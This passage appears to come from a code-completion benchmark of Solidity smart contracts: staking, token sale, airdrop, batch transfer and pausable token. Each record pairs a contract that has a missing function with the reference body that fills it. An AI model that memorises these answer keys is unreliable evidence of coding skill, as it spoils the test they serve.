minting is required, the contract already has token balance allocated pool.accHolyPerShare = pool.accHolyPerShare.add(tokenReward.mul(1e12).div(lpSupply)); pool.lastRewardCalcBlock = block.number; } // Deposit LP tokens to HolyKnight for HOLY allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accHolyPerShare).div(1e12).sub(user.rewardDebt); safeTokenTransfer(msg.sender, pending); //pay the earned tokens when user deposits } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accHolyPerShare).div(1e12); if (pool.stakeable) { uint256 prevbalance = pool.stakedHoldableToken.balanceOf(address(this)); Stakeable(pool.stakeableContract).deposit(_amount); uint256 balancetoadd = pool.stakedHoldableToken.balanceOf(address(this)).sub(prevbalance); user.stakedLPAmount = user.stakedLPAmount.add(balancetoadd); //protect received tokens from moving to treasury totalStaked[address(pool.stakedHoldableToken)] = totalStaked[address(pool.stakedHoldableToken)].add(balancetoadd); } else { totalStaked[address(pool.lpToken)] = totalStaked[address(pool.lpToken)].add(_amount); } emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from HolyKnight. function withdraw(uint256 _pid, uint256 _amount) public {<FILL_FUNCTION_BODY> } // Withdraw LP tokens without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (pool.stakeable) { //reclaim back original LP tokens and withdraw all of them, regardless of amount Stakeable(pool.stakeableContract).withdraw(user.stakedLPAmount); totalStaked[address(pool.stakedHoldableToken)] = totalStaked[address(pool.stakedHoldableToken)].sub(user.stakedLPAmount); user.stakedLPAmount = 0; uint256 balance = pool.lpToken.balanceOf(address(this)); if (user.amount < balance) { pool.lpToken.safeTransfer(address(msg.sender), user.amount); } else { pool.lpToken.safeTransfer(address(msg.sender), balance); } } else { pool.lpToken.safeTransfer(address(msg.sender), user.amount); totalStaked[address(pool.lpToken)] = totalStaked[address(pool.lpToken)].sub(user.amount); } user.amount = 0; user.rewardDebt = 0; emit EmergencyWithdraw(msg.sender, _pid, user.amount); } // Safe holyheld token transfer function, just in case if rounding error causes pool to not have enough HOLYs. function safeTokenTransfer(address _to, uint256 _amount) internal { uint256 balance = holytoken.balanceOf(address(this)); if (_amount > balance) { holytoken.transfer(_to, balance); } else { holytoken.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "forbidden"); devaddr = _devaddr; } // Update treasury address by the previous treasury. function treasury(address _treasuryaddr) public { require(msg.sender == treasuryaddr, "forbidden"); treasuryaddr = _treasuryaddr; } // Send yield on an LP token to the treasury function putToTreasury(address token) public onlyOwner { uint256 availablebalance = IERC20(token).balanceOf(address(this)) - totalStaked[token]; require(availablebalance > 0, "not enough tokens"); putToTreasuryAmount(token, availablebalance); } // Send yield amount realized from holding LP tokens to the treasury function putToTreasuryAmount(address token, uint256 _amount) public onlyOwner { uint256 userbalances = totalStaked[token]; uint256 lptokenbalance = IERC20(token).balanceOf(address(this)); require(token != address(holytoken), "cannot transfer holy tokens"); require(_amount <= lptokenbalance - userbalances, "not enough tokens"); IERC20(token).safeTransfer(treasuryaddr, _amount); emit Treasury(token, treasuryaddr, _amount); } }
contract HolyKnight is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HOLYs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accHolyPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accHolyPerShare` (and `lastRewardCalcBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. // Thus every change in pool or allocation will result in recalculation of values // (otherwise distribution remains constant btwn blocks and will be properly calculated) uint256 stakedLPAmount; } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract uint256 allocPoint; // How many allocation points assigned to this pool. HOLYs to distribute per block uint256 lastRewardCalcBlock; // Last block number for which HOLYs distribution is already calculated for the pool uint256 accHolyPerShare; // Accumulated HOLYs per share, times 1e12. See below bool stakeable; // we should call deposit method on the LP tokens provided (used for e.g. vault staking) address stakeableContract; // location where to deposit LP tokens if pool is stakeable IERC20 stakedHoldableToken; } // The Holyheld token HolyToken public holytoken; // Dev address. address public devaddr; // Treasury address address public treasuryaddr; // The block number when HOLY mining starts. uint256 public startBlock; // The block number when HOLY mining targeted to end (if full allocation). uint256 public targetEndBlock; // Total amount of tokens to distribute uint256 public totalSupply; // Reserved percent of HOLY tokens for current distribution (when pool allocation is not full) uint256 public reservedPercent; // HOLY tokens created per block, calculatable through updateHolyPerBlock(). uint256 public holyPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Info of total amount of staked LP tokens by all users mapping (address => uint256) public totalStaked; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event Treasury(address indexed token, address treasury, uint256 amount); constructor( HolyToken _token, address _devaddr, address _treasuryaddr, uint256 _totalsupply, uint256 _reservedPercent, uint256 _startBlock, uint256 _targetEndBlock ) public { holytoken = _token; devaddr = _devaddr; treasuryaddr = _treasuryaddr; //as knight is deployed by Holyheld token, transfer ownership to dev transferOwnership(_devaddr); totalSupply = _totalsupply; reservedPercent = _reservedPercent; startBlock = _startBlock; targetEndBlock = _targetEndBlock; //calculate initial token number per block updateHolyPerBlock(); } // Reserve some percentage of HOLY token distribution // (e.g. initially, 10% of tokens are reserved for future pools to be added) function setReserve(uint256 _reservedPercent) public onlyOwner { reservedPercent = _reservedPercent; updateHolyPerBlock(); } function updateHolyPerBlock() internal { //safemath substraction cannot overflow holyPerBlock = totalSupply.sub(totalSupply.mul(reservedPercent).div(100)).div(targetEndBlock.sub(startBlock)); massUpdatePools(); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _stakeable, address _stakeableContract, IERC20 _stakedHoldableToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardCalcBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardCalcBlock: lastRewardCalcBlock, accHolyPerShare: 0, stakeable: _stakeable, stakeableContract: _stakeableContract, stakedHoldableToken: IERC20(_stakedHoldableToken) })); if(_stakeable) { _lpToken.approve(_stakeableContract, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); } } // Update the given pool's HOLY allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // View function to see pending HOLYs on frontend. function pendingHoly(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accHolyPerShare = pool.accHolyPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardCalcBlock && lpSupply != 0) { uint256 multiplier = block.number.sub(pool.lastRewardCalcBlock); uint256 tokenReward = multiplier.mul(holyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accHolyPerShare = accHolyPerShare.add(tokenReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accHolyPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardCalcBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardCalcBlock = block.number; return; } uint256 multiplier = block.number.sub(pool.lastRewardCalcBlock); uint256 tokenReward = multiplier.mul(holyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); //no minting is required, the contract already has token balance allocated pool.accHolyPerShare = pool.accHolyPerShare.add(tokenReward.mul(1e12).div(lpSupply)); pool.lastRewardCalcBlock = block.number; } // Deposit LP tokens to HolyKnight for HOLY allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accHolyPerShare).div(1e12).sub(user.rewardDebt); safeTokenTransfer(msg.sender, pending); //pay the earned tokens when user deposits } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accHolyPerShare).div(1e12); if (pool.stakeable) { uint256 prevbalance = pool.stakedHoldableToken.balanceOf(address(this)); Stakeable(pool.stakeableContract).deposit(_amount); uint256 balancetoadd = pool.stakedHoldableToken.balanceOf(address(this)).sub(prevbalance); user.stakedLPAmount = user.stakedLPAmount.add(balancetoadd); //protect received tokens from moving to treasury totalStaked[address(pool.stakedHoldableToken)] = totalStaked[address(pool.stakedHoldableToken)].add(balancetoadd); } else { totalStaked[address(pool.lpToken)] = totalStaked[address(pool.lpToken)].add(_amount); } emit Deposit(msg.sender, _pid, _amount); } <FILL_FUNCTION> // Withdraw LP tokens without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (pool.stakeable) { //reclaim back original LP tokens and withdraw all of them, regardless of amount Stakeable(pool.stakeableContract).withdraw(user.stakedLPAmount); totalStaked[address(pool.stakedHoldableToken)] = totalStaked[address(pool.stakedHoldableToken)].sub(user.stakedLPAmount); user.stakedLPAmount = 0; uint256 balance = pool.lpToken.balanceOf(address(this)); if (user.amount < balance) { pool.lpToken.safeTransfer(address(msg.sender), user.amount); } else { pool.lpToken.safeTransfer(address(msg.sender), balance); } } else { pool.lpToken.safeTransfer(address(msg.sender), user.amount); totalStaked[address(pool.lpToken)] = totalStaked[address(pool.lpToken)].sub(user.amount); } user.amount = 0; user.rewardDebt = 0; emit EmergencyWithdraw(msg.sender, _pid, user.amount); } // Safe holyheld token transfer function, just in case if rounding error causes pool to not have enough HOLYs. function safeTokenTransfer(address _to, uint256 _amount) internal { uint256 balance = holytoken.balanceOf(address(this)); if (_amount > balance) { holytoken.transfer(_to, balance); } else { holytoken.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "forbidden"); devaddr = _devaddr; } // Update treasury address by the previous treasury. function treasury(address _treasuryaddr) public { require(msg.sender == treasuryaddr, "forbidden"); treasuryaddr = _treasuryaddr; } // Send yield on an LP token to the treasury function putToTreasury(address token) public onlyOwner { uint256 availablebalance = IERC20(token).balanceOf(address(this)) - totalStaked[token]; require(availablebalance > 0, "not enough tokens"); putToTreasuryAmount(token, availablebalance); } // Send yield amount realized from holding LP tokens to the treasury function putToTreasuryAmount(address token, uint256 _amount) public onlyOwner { uint256 userbalances = totalStaked[token]; uint256 lptokenbalance = IERC20(token).balanceOf(address(this)); require(token != address(holytoken), "cannot transfer holy tokens"); require(_amount <= lptokenbalance - userbalances, "not enough tokens"); IERC20(token).safeTransfer(treasuryaddr, _amount); emit Treasury(token, treasuryaddr, _amount); } }
PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accHolyPerShare).div(1e12).sub(user.rewardDebt); safeTokenTransfer(msg.sender, pending); if (pool.stakeable) { //reclaim back original LP tokens and withdraw all of them, regardless of amount Stakeable(pool.stakeableContract).withdraw(user.stakedLPAmount); totalStaked[address(pool.stakedHoldableToken)] = totalStaked[address(pool.stakedHoldableToken)].sub(user.stakedLPAmount); user.stakedLPAmount = 0; uint256 balance = pool.lpToken.balanceOf(address(this)); if (user.amount < balance) { pool.lpToken.safeTransfer(address(msg.sender), user.amount); } else { pool.lpToken.safeTransfer(address(msg.sender), balance); } user.amount = 0; user.rewardDebt = 0; } else { require(user.amount >= _amount, "withdraw: not good"); pool.lpToken.safeTransfer(address(msg.sender), _amount); totalStaked[address(pool.lpToken)] = totalStaked[address(pool.lpToken)].sub(_amount); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accHolyPerShare).div(1e12); } emit Withdraw(msg.sender, _pid, _amount);
function withdraw(uint256 _pid, uint256 _amount) public
// Withdraw LP tokens from HolyKnight. function withdraw(uint256 _pid, uint256 _amount) public
84621
GanaPublicSale
burnAndReturnAfterEnded
contract GanaPublicSale is Ownable { using SafeMath for uint256; GANA public gana; Whitelist public whitelist; address public wallet; uint256 public hardCap = 30000 ether; //publicsale cap uint256 public weiRaised = 0; uint256 public defaultRate = 20000; //uint256 public startTime = 1483228800; //TEST ONLY UTC 01/01/2017 00:00am uint256 public startTime = 1524218400; //UTC 04/20/2018 10:00am uint256 public endTime = 1526637600; //UTC 05/18/2018 10:00am event TokenPurchase(address indexed sender, address indexed buyer, uint256 weiAmount, uint256 ganaAmount); event Refund(address indexed buyer, uint256 weiAmount); event TransferToSafe(); event BurnAndReturnAfterEnded(uint256 burnAmount, uint256 returnAmount); function GanaPublicSale(address _gana, address _wallet, address _whitelist) public { require(_wallet != address(0)); gana = GANA(_gana); whitelist = Whitelist(_whitelist); wallet = _wallet; } modifier onlyWhitelisted() { require(whitelist.isWhitelist(msg.sender)); _; } // fallback function can be used to buy tokens function () external payable { buyGana(msg.sender); } function buyGana(address buyer) public onlyWhitelisted payable { require(!hasEnded()); require(afterStart()); require(buyer != address(0)); require(msg.value > 0); require(buyer == msg.sender); uint256 weiAmount = msg.value; //pre-calculate wei raise after buying uint256 preCalWeiRaised = weiRaised.add(weiAmount); uint256 ganaAmount; uint256 rate = getRate(); if(preCalWeiRaised <= hardCap){ //the pre-calculate wei raise is less than the hard cap ganaAmount = weiAmount.mul(rate); gana.saleTransfer(buyer, ganaAmount); weiRaised = preCalWeiRaised; TokenPurchase(msg.sender, buyer, weiAmount, ganaAmount); }else{ //the pre-calculate weiRaised is more than the hard cap uint256 refundWeiAmount = preCalWeiRaised.sub(hardCap); uint256 fundWeiAmount = weiAmount.sub(refundWeiAmount); ganaAmount = fundWeiAmount.mul(rate); gana.saleTransfer(buyer, ganaAmount); weiRaised = weiRaised.add(fundWeiAmount); TokenPurchase(msg.sender, buyer, fundWeiAmount, ganaAmount); buyer.transfer(refundWeiAmount); Refund(buyer,refundWeiAmount); } } function getRate() public view returns (uint256) { if(weiRaised < 12500 ether){ return 21000; }else if(weiRaised < 25000 ether){ return 20500; }else{ return 20000; } } //Was it sold out or sale overdue function hasEnded() public view returns (bool) { bool hardCapReached = weiRaised >= hardCap; // balid cap return hardCapReached || afterEnded(); } function afterEnded() internal constant returns (bool) { return now > endTime; } function afterStart() internal constant returns (bool) { return now >= startTime; } function transferToSafe() onlyOwner public { require(hasEnded()); wallet.transfer(this.balance); TransferToSafe(); } /** * @dev burn unsold token and return bonus token * @param reserveWallet reserve pool address */ function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public {<FILL_FUNCTION_BODY> } /** * @dev emergency function before sale * @param returnAddress return token address */ function returnGanaBeforeSale(address returnAddress) onlyOwner public { require(returnAddress != address(0)); require(weiRaised == 0); uint256 returnGana = gana.balanceOf(this); gana.saleTransfer(returnAddress, returnGana); } }
contract GanaPublicSale is Ownable { using SafeMath for uint256; GANA public gana; Whitelist public whitelist; address public wallet; uint256 public hardCap = 30000 ether; //publicsale cap uint256 public weiRaised = 0; uint256 public defaultRate = 20000; //uint256 public startTime = 1483228800; //TEST ONLY UTC 01/01/2017 00:00am uint256 public startTime = 1524218400; //UTC 04/20/2018 10:00am uint256 public endTime = 1526637600; //UTC 05/18/2018 10:00am event TokenPurchase(address indexed sender, address indexed buyer, uint256 weiAmount, uint256 ganaAmount); event Refund(address indexed buyer, uint256 weiAmount); event TransferToSafe(); event BurnAndReturnAfterEnded(uint256 burnAmount, uint256 returnAmount); function GanaPublicSale(address _gana, address _wallet, address _whitelist) public { require(_wallet != address(0)); gana = GANA(_gana); whitelist = Whitelist(_whitelist); wallet = _wallet; } modifier onlyWhitelisted() { require(whitelist.isWhitelist(msg.sender)); _; } // fallback function can be used to buy tokens function () external payable { buyGana(msg.sender); } function buyGana(address buyer) public onlyWhitelisted payable { require(!hasEnded()); require(afterStart()); require(buyer != address(0)); require(msg.value > 0); require(buyer == msg.sender); uint256 weiAmount = msg.value; //pre-calculate wei raise after buying uint256 preCalWeiRaised = weiRaised.add(weiAmount); uint256 ganaAmount; uint256 rate = getRate(); if(preCalWeiRaised <= hardCap){ //the pre-calculate wei raise is less than the hard cap ganaAmount = weiAmount.mul(rate); gana.saleTransfer(buyer, ganaAmount); weiRaised = preCalWeiRaised; TokenPurchase(msg.sender, buyer, weiAmount, ganaAmount); }else{ //the pre-calculate weiRaised is more than the hard cap uint256 refundWeiAmount = preCalWeiRaised.sub(hardCap); uint256 fundWeiAmount = weiAmount.sub(refundWeiAmount); ganaAmount = fundWeiAmount.mul(rate); gana.saleTransfer(buyer, ganaAmount); weiRaised = weiRaised.add(fundWeiAmount); TokenPurchase(msg.sender, buyer, fundWeiAmount, ganaAmount); buyer.transfer(refundWeiAmount); Refund(buyer,refundWeiAmount); } } function getRate() public view returns (uint256) { if(weiRaised < 12500 ether){ return 21000; }else if(weiRaised < 25000 ether){ return 20500; }else{ return 20000; } } //Was it sold out or sale overdue function hasEnded() public view returns (bool) { bool hardCapReached = weiRaised >= hardCap; // balid cap return hardCapReached || afterEnded(); } function afterEnded() internal constant returns (bool) { return now > endTime; } function afterStart() internal constant returns (bool) { return now >= startTime; } function transferToSafe() onlyOwner public { require(hasEnded()); wallet.transfer(this.balance); TransferToSafe(); } <FILL_FUNCTION> /** * @dev emergency function before sale * @param returnAddress return token address */ function returnGanaBeforeSale(address returnAddress) onlyOwner public { require(returnAddress != address(0)); require(weiRaised == 0); uint256 returnGana = gana.balanceOf(this); gana.saleTransfer(returnAddress, returnGana); } }
require(reserveWallet != address(0)); require(hasEnded()); uint256 unsoldWei = hardCap.sub(weiRaised); uint256 ganaBalance = gana.balanceOf(this); require(ganaBalance > 0); if(unsoldWei > 0){ //Burn unsold and return bonus uint256 unsoldGanaAmount = ganaBalance; uint256 burnGanaAmount = unsoldWei.mul(defaultRate); uint256 bonusGanaAmount = unsoldGanaAmount.sub(burnGanaAmount); gana.burn(burnGanaAmount); gana.saleTransfer(reserveWallet, bonusGanaAmount); BurnAndReturnAfterEnded(burnGanaAmount, bonusGanaAmount); }else{ //All tokens were sold. return bonus gana.saleTransfer(reserveWallet, ganaBalance); BurnAndReturnAfterEnded(0, ganaBalance); }
function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public
/** * @dev burn unsold token and return bonus token * @param reserveWallet reserve pool address */ function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public
75698
Bounty
issueTokens
contract Bounty is Ownable { LamdenTau public lamdenTau; function Bounty(address _tokenContractAddress) public { require(_tokenContractAddress != address(0)); lamdenTau = LamdenTau(_tokenContractAddress); } function returnTokens() onlyOwner { uint256 balance = lamdenTau.balanceOf(this); lamdenTau.transfer(msg.sender, balance); } function issueTokens() onlyOwner {<FILL_FUNCTION_BODY> } }
contract Bounty is Ownable { LamdenTau public lamdenTau; function Bounty(address _tokenContractAddress) public { require(_tokenContractAddress != address(0)); lamdenTau = LamdenTau(_tokenContractAddress); } function returnTokens() onlyOwner { uint256 balance = lamdenTau.balanceOf(this); lamdenTau.transfer(msg.sender, balance); } <FILL_FUNCTION> }
lamdenTau.transfer(0x2D5089a716ddfb0e917ea822B2fa506A3B075997, 2160000000000000000000); lamdenTau.transfer(0xe195cC6e1F738Df5bB114094cE4fbd7162CaD617, 720000000000000000000); lamdenTau.transfer(0xfd052EC542Db2d8d179C97555434C12277a2da90, 708000000000000000000); lamdenTau.transfer(0xBDe659f939374ddb64Cfe05ab55a736D13DdB232, 24000000000000000000); lamdenTau.transfer(0x3c567089fdB2F43399f82793999Ca4e2879a1442, 96000000000000000000); lamdenTau.transfer(0xdDF103c148a368B34215Ac2b37892CaBC98d2eb6, 216000000000000000000); lamdenTau.transfer(0x32b50a36762bA0194DbbD365C69014eA63bC208A, 246000000000000000000); lamdenTau.transfer(0x80e264eca46565b3b89234C889f86fC48A37FD27, 420000000000000000000); lamdenTau.transfer(0x924fA0A32c32c98e5138526a823440846870fa11, 1260000000000000000000); lamdenTau.transfer(0x8899b7328114dE9e26AF0f920b933517A84d0B27, 672000000000000000000); lamdenTau.transfer(0x5F3034c41fE8548A0B8718622679A7A1B1d990a2, 204000000000000000000); lamdenTau.transfer(0xA628431d3F331Fce908249DF8589c82b5C491790, 27000000000000000000); lamdenTau.transfer(0xbE603e5A1d8319a656a7Bab5f98438372eeB16fC, 24000000000000000000); lamdenTau.transfer(0xcA71C16d3146fdd147C8bAcb878F39A4d308C7b7, 708000000000000000000); lamdenTau.transfer(0xe47BBeAc8F268d7126082D5574B6f027f95AF5FB, 402000000000000000000); lamdenTau.transfer(0xF84CDC51C1FF6487AABD352E0A5661697e0830e3, 840000000000000000000); lamdenTau.transfer(0xA4D826F66A65F87D60bEbfd3DcFD50d25BA51285, 552000000000000000000); lamdenTau.transfer(0xEFA2427A318BE3D978Aac04436A59F2649d9f7bc, 648000000000000000000); lamdenTau.transfer(0x850ee0810c2071205E81cf7F5A5E056736ef4567, 720000000000000000000); lamdenTau.transfer(0x8D7f4b8658Ae777B498C154566fBc820f88533cd, 396000000000000000000); lamdenTau.transfer(0xD79Cd948a969D1A4Ff01C5d3205b460b1550FF29, 12000000000000000000); lamdenTau.transfer(0xa3e2a6AD4b95fc293f361B2Dba448e99B286971e, 108000000000000000000); lamdenTau.transfer(0xf1F55c5142AC402A2b6573fb051a307f455be9bE, 720000000000000000000); lamdenTau.transfer(0xB95390D77F2aF27dEb09aBF9AD6A0c36Ec1333D2, 516000000000000000000); lamdenTau.transfer(0xb9B03611Fc1EFAdD1F1a83d84CDD8CCa5d93f0CB, 444000000000000000000); lamdenTau.transfer(0x1FC6523C6F8f5F4a92EF98286f75ac4Fb86709dF, 960000000000000000000); lamdenTau.transfer(0x0Fe8C0F024B8dF422f830c34E3c406CC05735F77, 1020000000000000000000); lamdenTau.transfer(0x01e6c7F612798c5C63775712F3C090F10bE120bC, 258000000000000000000); lamdenTau.transfer(0xf4C2D2bd0448709Fe3169e98813ff036Ae16f1a9, 2160000000000000000000); lamdenTau.transfer(0x5752ae7b663b57819de59945176835ff43805622, 69000000000000000000); uint256 balance = lamdenTau.balanceOf(this); lamdenTau.transfer(msg.sender, balance);
function issueTokens() onlyOwner
function issueTokens() onlyOwner
15529
BatchTransfer
BatchTransfer
contract BatchTransfer{ address public owner; mapping (address => bool) public admins; Token public token; modifier onlyOwner{ require(msg.sender == owner); _; } modifier onlyOwnerOrAdmin{ require(msg.sender == owner || admins[msg.sender] == true); _; } function BatchTransfer(address _tokenAddr) public {<FILL_FUNCTION_BODY> } function ownerSetOwner(address newOwner) public onlyOwner{ owner = newOwner; } function ownerSetAdmin(address[] _admins) public onlyOwner{ for(uint i = 0; i<_admins.length; i++){ admins[_admins[i]] = true; } } function ownerModAdmin(address _admin, bool _authority) onlyOwner{ admins[_admin] = _authority; } function ownerTransfer(address _addr, uint _value) public onlyOwner{ token.transfer(_addr,_value); } function executeBatchTransfer(address[] _dests, uint[] _values) public onlyOwnerOrAdmin returns(uint){ uint i = 0; while (i < _dests.length) { token.transfer(_dests[i], _values[i] * (10 ** 18)); i += 1; } return i; } }
contract BatchTransfer{ address public owner; mapping (address => bool) public admins; Token public token; modifier onlyOwner{ require(msg.sender == owner); _; } modifier onlyOwnerOrAdmin{ require(msg.sender == owner || admins[msg.sender] == true); _; } <FILL_FUNCTION> function ownerSetOwner(address newOwner) public onlyOwner{ owner = newOwner; } function ownerSetAdmin(address[] _admins) public onlyOwner{ for(uint i = 0; i<_admins.length; i++){ admins[_admins[i]] = true; } } function ownerModAdmin(address _admin, bool _authority) onlyOwner{ admins[_admin] = _authority; } function ownerTransfer(address _addr, uint _value) public onlyOwner{ token.transfer(_addr,_value); } function executeBatchTransfer(address[] _dests, uint[] _values) public onlyOwnerOrAdmin returns(uint){ uint i = 0; while (i < _dests.length) { token.transfer(_dests[i], _values[i] * (10 ** 18)); i += 1; } return i; } }
owner = msg.sender; token = Token(_tokenAddr);
function BatchTransfer(address _tokenAddr) public
function BatchTransfer(address _tokenAddr) public
50937
PausableToken
transferFrom
contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) { return super.transfer(_to, _value); } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
return super.transferFrom(_from, _to, _value);
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool)
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool)
54017
manageAddress
add_blockedAddress
contract manageAddress is Variable, Modifiers, Event { function add_allowedAddress(address _address) public isOwner { allowedAddress[_address] = true; } function add_blockedAddress(address _address) public isOwner {<FILL_FUNCTION_BODY> } function delete_allowedAddress(address _address) public isOwner { require(_address != owner); allowedAddress[_address] = false; } function delete_blockedAddress(address _address) public isOwner { blockedAddress[_address] = false; } }
contract manageAddress is Variable, Modifiers, Event { function add_allowedAddress(address _address) public isOwner { allowedAddress[_address] = true; } <FILL_FUNCTION> function delete_allowedAddress(address _address) public isOwner { require(_address != owner); allowedAddress[_address] = false; } function delete_blockedAddress(address _address) public isOwner { blockedAddress[_address] = false; } }
require(_address != owner); blockedAddress[_address] = true; emit BlockedAddress(_address);
function add_blockedAddress(address _address) public isOwner
function add_blockedAddress(address _address) public isOwner
28448
ldoh
contract ldoh is EthereumSmartContract { /*============================== = EVENTS = ==============================*/ event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); /*============================== = VARIABLES = ==============================*/ //-------o Affiliate = 12% o-------o Cashback = 16% o-------o Total Receive = 88% o-------o Without Cashback = 72% o-------o //-------o Hold 24 Months, Unlock 3% Permonth // Struct Database struct Safe { uint256 id; // [01] -- > Registration Number uint256 amount; // [02] -- > Total amount of contribution to this transaction uint256 endtime; // [03] -- > The Expiration Of A Hold Platform Based On Unix Time address user; // [04] -- > The ETH address that you are using address tokenAddress; // [05] -- > The Token Contract Address That You Are Using string tokenSymbol; // [06] -- > The Token Symbol That You Are Using uint256 amountbalance; // [07] -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // [08] -- > 16% from Contribution / 0% Without Cashback uint256 lasttime; // [09] -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // [10] -- > The percentage of tokens that are unlocked every month ( Default = 3% ) uint256 percentagereceive; // [11] -- > The Percentage You Have Received uint256 tokenreceive; // [12] -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // [13] -- > The Last Amount You Withdraw address referrer; // [14] -- > Your ETH referrer address bool cashbackstatus; // [15] -- > Cashback Status } uint256 private idnumber; // [01] -- > ID number ( Start from 500 ) uint256 public TotalUser; // [02] -- > Total Smart Contract User mapping(address => address) public cashbackcode; // [03] -- > Cashback Code mapping(address => uint256[]) public idaddress; // [04] -- > Search Address by ID mapping(address => address[]) public afflist; // [05] -- > Affiliate List by ID mapping(address => string) public ContractSymbol; // [06] -- > Contract Address Symbol mapping(uint256 => Safe) private 